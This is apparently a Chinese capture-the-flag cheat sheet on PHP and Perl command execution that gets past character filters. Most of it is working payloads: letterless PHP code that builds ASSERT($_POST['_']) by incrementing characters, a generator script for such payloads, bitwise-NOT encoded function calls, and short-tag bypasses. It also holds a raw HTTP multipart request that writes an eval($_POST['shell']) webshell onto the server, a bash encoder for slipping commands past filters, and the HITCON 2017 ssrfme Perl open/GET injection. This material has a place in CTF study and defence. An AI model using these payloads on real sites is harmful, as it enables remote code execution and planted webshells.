原理:通过++来使字母变化(ascii码加1),拿到字母A即可获取其他字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
|
<?php $_=[]; echo $_; $_=[].''; echo $_[0]; echo $_[$__];
<?php $_=[].''; $___=$_[$__]; $__=$___; ++$__;++$__;++$__;...(18次)...++$__; $_=$_.$__; $_=$_.$__; $__=$___; $__++; $__++; $__++;$__++; $_.$__; .... $_ -> ASSERT; $____(4个) -> _POST; $__=$$____; $_($__[_]); ->ASSERT($_POST['_']);
|
构造过程用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| <?php highlight_file(__FILE__); $cmd = strtoupper('ASSERT'); $cmd2 = strtoupper('POST'); function POC($cmd){ $i = 0; $POC_pat1 = "\$__=\$___;"; $POC_pat2 = "\$_ .=\$__;"; while ($i<strlen($cmd)){ $str1 = $cmd[$i]; $POC1 = base_convert(bin2hex($str1),16,10)-base_convert(bin2hex("A"),16,10); if ($i<1) { $POC_pat3 = str_repeat("++\$__;",$POC1); echo $POC_pat3; }else{ $str2 = $cmd[$i-1]; if($str1==$str2){ $POC_pat5 = $POC_pat2; echo $POC_pat5; }else{ $POC_pat6 = $POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2; echo $POC_pat6; } } $i++; } }
function POC2($cmd){ $i = 0; echo '$____ = "_";$__=$___;'; $POC_pat1 = "\$__=\$___;"; $POC_pat2 = "\$____ .=\$__;"; while ($i<strlen($cmd)){ $str1 = $cmd[$i]; $POC1 = base_convert(bin2hex($str1),16,10)-base_convert(bin2hex("A"),16,10); if ($i<1) { $POC_pat3 = str_repeat("++\$__;",$POC1).$POC_pat2; echo $POC_pat3; }else{ $str2 = $cmd[$i-1]; if($str1==$str2){ $POC_pat5 = $POC_pat2; echo $POC_pat5; }else{ $POC_pat6 = $POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2; echo $POC_pat6; } } $i++; } }
if (!empty($cmd)){ $POC_pat7 = "\$_=[].'';\$___=\$_[\$__];\$__=\$___;\$_=\$___;"; echo $POC_pat7; POC($cmd); } if (!empty($cmd2)){ POC2($cmd2); }
|
注意:url编码!!!
同理,php7构造$_POST[_]
(反引号包围)
最短脚本(112字符)
1 2 3 4 5 6 7 8 9 10 11 12
| $_=([]._){0}; //A $_++; $_1=++$_; //$_1=C $_++; $_++; $_++; $_++; $_1.=++$_.([]._){1}; //$_1=CHr $_=_.$_1(71).$_1(69).$_1(84); //$_=_GET $$_[1]($$_[2]); //$_GET[1]($_GET[2]) //缩短为一行 $_=([]._){0};$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_1.=++$_.([]._){1};$_=_.$_1(71).$_1(69).$_1(84);$$_[1]($$_[2]);
|
无字母数字特殊符号过滤
1.过滤下划线
短标签法:<?=phpinfo();>
PHP 短标签
我们最常见的 PHP 标签就是<?php ?>
了,但是 PHP 中还有两种短标签,即<? ?>
和<?= ?>
。当关键字 “php” 被过滤了之后,此时我们便不能使用<?php ?>
了,但是我们可以用另外两种短标签进行绕过,并且在短标签中的代码不需要使用分号;
。
其中,<? ?>
相当于对<?php ?>
的替换。而<?= ?>
则是相当于<?php echo ... ?>
。例如:
PHP中,反引号可以直接命令执行系统命令,但是如果想要输出执行结果还需要使用 echo 等函数:
还可以使用<?= ?>
短标签(比较灵活):
?><?=(反引号){${~"%a0%b8%ba%ab}[%a0]}(反引号)?>
-> ?><?=`$_GET[‘%a0’]`
取反绕过,%a0是下划线
注意,POST方法%a0不会解码,用减号[-]代替[_]
2.过滤下划线和$
1 2 3
| (~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c)(~%8c%86%8c%8b%9a%92,~%88%97%90%9e%92%96,''); ('phpinfo')();
|
1 2 3 4 5 6 7 8
|
---------123 Content-Disposition:from-data:name="file";filename="1.txt"
echo "<?php eval(\$_POST['shell']);" > /www/admin/localhost_80/wwwroot/class11/success.php ---------123-----
|
!(../images/命令执行/16.png)
生成一个1.txt文件
1
| ?cmd=?><?=`.+/???/????????[@-[]`;?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST /class11/3.php?cmd=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?> HTTP/1.1 Host: 192.168.102.128:18080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Content-Type:multipart/form-data;boundary=--------123 Connection: close Content-Length: 187
----------123 Content-Disposition:from-data:name="file";filename="1.txt"
echo "<?php eval(\$_POST['shell']);" > /www/admin/localhost_80/wwwroot/class11/success.php ----------123--
|
注意:请求从GET换成POST,cmd后面和HTTP只能一个空格,cmd中的?,>,<,+不能url编码
由于最后一位不一定是大写,多执行几次!!!
Content-Type:multipart/form-data;boundary=——–123必须加上,上下横线数量必须相同,后面必须只有两个–
1 2 3 4 5 6 7
| ----------123 Content-Disposition:form-data;name="file";filename="1.txt"
#!/bin/sh ls / ----------123-- 也可以直接执行系统命令!
|
如果题目过滤了@
,那么我们可以取@
之前的一个字符,也就是?
,即%3f
:
1
| ?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%3f-[]`%3b?>
|
;~ ^ ` & | 过滤
只能用自增运算,分号全部用短标签替换
如果下划线也过滤了
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| def enc(cmd): str = '' for cmdx in cmd: str += f'\\\\$(($((1<<1))#{bin(int((oct(ord(cmdx)))[2:]))[2:]}))' ct = str.replace('1', '${##}').replace('0', '${#}')
ct = '${!#}<<<${!#}\\<\\<\\<\\$\\\'' + ct + '\\\'' charset = set() for ctx in ct: if ctx.isprintable() and ctx not in charset: charset.add(ctx) return ct
print(enc("ls"))
|
十四、GET命令执行漏洞
HITCON2017中的ssrfme
perl .pl是perl脚本文件
1 2 3 4 5 6 7 8 9 10 11
| root@iZ285ei82c1Z:~/test# cat a.pl open(FD, "|id"); print <FD>; root@iZ285ei82c1Z:~/test# perl a.pl uid=0(root) gid=0(root) groups=0(root)
root@iZ285ei82c1Z:~/test# cat test.pl open(FD, "whoami|"); print <FD>; root@iZ285ei82c1Z:~/test# perl test.pl moxiaoxi
|
而perl里的GET函数底层就是调用了open处理
perl脚本的GET命令执行漏洞:(前提是文档需要存在)
1 2 3 4
| touch 'id|' GET ’file:id|'
uid=0(root) gid=0(root) groups=0(root)
|
open函数本身还支持file协议
在perl下,如果open的第二个参数(path)可控,我们就能进行任意代码执行。综合看起来像是一个把文件名拼接入命令导致的命令执行。
ubuntu18.04 已经修复此漏洞,open(my $fh, '<' , $path) or return new //open 函数以只读的方式(<)打开文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; }
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); @mkdir($sandbox); @chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"])); $info = pathinfo($_GET["filename"]); $dir = str_replace(".", "", basename($info["dirname"])); @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data); highlight_file(__FILE__);
|
1 2 3
| 首先得满足前面的文件存在, 才会继续到open语句, 所以在执行命令前得保证有相应的同名文件: ?url=&filename=bash -c /readflag| 先新建一个名为“bash -c /readflag|”的文件,用于之后的命令执行 ?url=file:bash -c /readflag|&filename=aaa 再利用GET执行bash -c /readflag保存到aaa文件
|